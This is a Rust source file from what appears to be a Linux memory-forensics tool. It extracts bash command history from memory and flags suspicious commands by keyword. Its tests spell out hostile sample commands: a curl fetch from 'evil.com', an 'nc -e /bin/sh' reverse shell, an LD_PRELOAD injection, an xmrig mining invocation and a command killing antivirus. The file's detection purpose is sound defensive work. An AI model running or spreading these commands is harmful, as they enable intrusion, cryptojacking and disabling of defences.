memf_linux/
bash_history.rs1#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
10pub struct BashHistoryEntry {
11 pub pid: u32,
13 pub comm: String,
15 pub command: String,
17 pub sequence: usize,
19}
20
21pub fn extract_bash_history_from_bytes(bytes: &[u8]) -> Vec<String> {
30 let mut seen = std::collections::HashSet::new();
31 let mut result = Vec::new();
32
33 for chunk in bytes.split(|&b| b == 0) {
34 if chunk.len() < 3 {
35 continue;
36 }
37 if !chunk
39 .iter()
40 .all(|&b| b == b'\t' || (0x20..=0x7E).contains(&b))
41 {
42 continue;
43 }
44 let s = match std::str::from_utf8(chunk) {
45 Ok(s) => s.to_string(),
46 Err(_) => continue,
47 };
48 if seen.insert(s.clone()) {
49 result.push(s);
50 }
51 }
52
53 result
54}
55
56pub fn classify_bash_command(cmd: &str) -> Option<&'static str> {
70 if cmd.contains("ld.so.preload")
72 || cmd.to_lowercase().contains("ldpreload")
73 || cmd.contains("LD_PRELOAD")
74 {
75 return Some("rootkit_persistence");
76 }
77 if cmd.contains("/dev/shm") || cmd.contains("/run/shm") {
78 return Some("staging_area");
79 }
80 if cmd.contains("rm -rf") || cmd.contains("unlink ") {
81 return Some("file_deletion");
82 }
83 if cmd.contains("wget ")
85 || cmd.contains("curl ")
86 || cmd.starts_with("nc ")
87 || cmd.contains(" nc ")
88 || cmd.contains("ncat ")
89 {
90 return Some("network_download");
91 }
92 let first_token = cmd.split_whitespace().next().unwrap_or("");
94 if first_token == "xmrig"
95 || first_token.ends_with("/xmrig")
96 || first_token.ends_with("\\xmrig")
97 || cmd.contains("stratum")
98 || cmd.contains("cryptonight")
99 {
100 return Some("cryptomining");
101 }
102 if cmd.contains("chmod +x") || cmd.contains("chmod 777") {
103 return Some("permission_change");
104 }
105 if cmd.contains("kill -9") || cmd.contains("pkill ") || cmd.starts_with("pkill") {
106 return Some("process_termination");
107 }
108 None
109}
110
111#[cfg(test)]
112mod tests {
113 use super::*;
114
115 #[test]
118 fn extract_nul_separated_commands() {
119 let input = b"ls -la\0rm -rf /tmp/kit\0";
120 let result = extract_bash_history_from_bytes(input);
121 assert!(
122 result.contains(&"ls -la".to_string()),
123 "must contain 'ls -la'"
124 );
125 assert!(
126 result.contains(&"rm -rf /tmp/kit".to_string()),
127 "must contain 'rm -rf /tmp/kit'"
128 );
129 }
130
131 #[test]
132 fn extract_deduplicates_repeated_commands() {
133 let input = b"pwd\0pwd\0whoami\0";
134 let result = extract_bash_history_from_bytes(input);
135 let pwd_count = result.iter().filter(|s| s.as_str() == "pwd").count();
136 assert_eq!(pwd_count, 1, "duplicate commands must be deduplicated");
137 assert!(result.contains(&"whoami".to_string()));
138 }
139
140 #[test]
141 fn extract_skips_very_short_strings() {
142 let input = b"ls\0pwd\0id\0";
144 let result = extract_bash_history_from_bytes(input);
145 assert!(
147 !result.contains(&"ls".to_string()),
148 "'ls' is 2 chars, must be filtered"
149 );
150 assert!(
151 !result.contains(&"id".to_string()),
152 "'id' is 2 chars, must be filtered"
153 );
154 assert!(result.contains(&"pwd".to_string()));
155 }
156
157 #[test]
158 fn extract_empty_input_returns_empty() {
159 assert!(extract_bash_history_from_bytes(b"").is_empty());
160 }
161
162 #[test]
163 fn extract_preserves_order_of_appearance() {
164 let input = b"whoami\0cat /etc/passwd\0ls -la\0";
165 let result = extract_bash_history_from_bytes(input);
166 let whoami_pos = result.iter().position(|s| s == "whoami").unwrap();
167 let cat_pos = result.iter().position(|s| s == "cat /etc/passwd").unwrap();
168 let ls_pos = result.iter().position(|s| s == "ls -la").unwrap();
169 assert!(whoami_pos < cat_pos, "order must be preserved");
170 assert!(cat_pos < ls_pos, "order must be preserved");
171 }
172
173 #[test]
176 fn classify_rm_rf_is_file_deletion() {
177 assert_eq!(
178 classify_bash_command("rm -rf /tmp/kit"),
179 Some("file_deletion")
180 );
181 }
182
183 #[test]
184 fn classify_unlink_is_file_deletion() {
185 assert_eq!(
186 classify_bash_command("unlink /tmp/evil"),
187 Some("file_deletion")
188 );
189 }
190
191 #[test]
192 fn classify_curl_is_network_download() {
193 assert_eq!(
194 classify_bash_command("curl http://evil.com/xmrig"),
195 Some("network_download")
196 );
197 }
198
199 #[test]
200 fn classify_wget_is_network_download() {
201 assert_eq!(
202 classify_bash_command("wget http://bad.com/payload"),
203 Some("network_download")
204 );
205 }
206
207 #[test]
208 fn classify_nc_is_network_download() {
209 assert_eq!(
210 classify_bash_command("nc -e /bin/sh 10.0.0.1 4444"),
211 Some("network_download")
212 );
213 }
214
215 #[test]
216 fn classify_echo_hello_is_none() {
217 assert_eq!(classify_bash_command("echo hello"), None);
218 }
219
220 #[test]
221 fn classify_ld_so_preload_is_rootkit_persistence() {
222 assert_eq!(
223 classify_bash_command("cat /etc/ld.so.preload"),
224 Some("rootkit_persistence")
225 );
226 }
227
228 #[test]
229 fn classify_ldpreload_env_is_rootkit_persistence() {
230 assert_eq!(
231 classify_bash_command("LD_PRELOAD=/tmp/evil.so ./target"),
232 Some("rootkit_persistence")
233 );
234 }
235
236 #[test]
237 fn classify_xmrig_is_cryptomining() {
238 assert_eq!(
239 classify_bash_command("xmrig --pool stratum+tcp://pool:3333"),
240 Some("cryptomining")
241 );
242 }
243
244 #[test]
245 fn classify_stratum_is_cryptomining() {
246 assert_eq!(
247 classify_bash_command("./miner stratum+tcp://pool.minexmr.com:443 -u user"),
248 Some("cryptomining")
249 );
250 }
251
252 #[test]
253 fn classify_dev_shm_is_staging_area() {
254 assert_eq!(
255 classify_bash_command("cp /tmp/kit /dev/shm/.hidden"),
256 Some("staging_area")
257 );
258 }
259
260 #[test]
261 fn classify_kill_9_is_process_termination() {
262 assert_eq!(
263 classify_bash_command("kill -9 1234"),
264 Some("process_termination")
265 );
266 }
267
268 #[test]
269 fn classify_pkill_is_process_termination() {
270 assert_eq!(
271 classify_bash_command("pkill -f antivirus"),
272 Some("process_termination")
273 );
274 }
275
276 #[test]
277 fn classify_chmod_x_is_permission_change() {
278 assert_eq!(
279 classify_bash_command("chmod +x /tmp/evil"),
280 Some("permission_change")
281 );
282 }
283
284 #[test]
285 fn classify_chmod_777_is_permission_change() {
286 assert_eq!(
287 classify_bash_command("chmod 777 /tmp/evil"),
288 Some("permission_change")
289 );
290 }
291
292 #[test]
293 fn classify_cryptonight_is_cryptomining() {
294 assert_eq!(
295 classify_bash_command("./cryptonight --threads 4"),
296 Some("cryptomining")
297 );
298 }
299}